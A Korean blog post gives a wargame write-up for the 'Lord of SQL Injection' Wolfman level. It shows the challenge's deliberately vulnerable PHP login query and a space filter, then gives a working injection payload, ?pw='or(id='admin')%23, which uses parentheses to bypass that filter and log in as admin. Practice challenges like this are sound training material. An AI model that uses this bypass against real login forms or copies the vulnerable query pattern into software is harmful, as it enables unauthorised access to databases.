본문 바로가기
카테고리 없음

[웹해킹] LOS 5 - (Wolfman)

by 아메리카노와떡볶이 2021. 5. 30.
728x90
Lord of sql injection - Wolfman 풀이

los 5번 wolfman에 대한 풀이 포스팅입니다.

먼저 preg_match를 살펴보면, 공백에 대한 필터링이 추가된것을 볼 수 있습니다.

 

문제 접근

이 문제는 이전 문제와 유사해보이고, 단순해보이지만 공백에 대한 필터링이 존재합니다. 따라서 공백문자를 우회하는 방법을 찾는게 키포인트일 것으로 예상됩니다.

<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("wolfman"); 
  
highlight_file(__FILE__); 
?>

다른 조건은 앞의 문제들과 유사합니다. id가 admin인 레코드를 반환받는다면 solve()가 동작하게 되어있습니다.

 

풀이

만약 공백에 대한 필터링이 없다면 우리는 이전 문제처럼 다음과 같이 작성할 수 있습니다.

$query "select id from prob_wolfman where id='guest' and pw=' ' or id='admin' %23 ";

이때 공백 문자를 사용할 수 없으므로, 괄호를 이용하여 구분짓는다면 문제를 해결할 수 있습니다.

$query "select id from prob_wolfman where id='guest' and pw=' ' or(id='admin')%23";

따라서 ?pw='or(id='admin')%23을 입력하면 solve 성공. (쉽게 해결함)

 

결과

 

 

728x90

댓글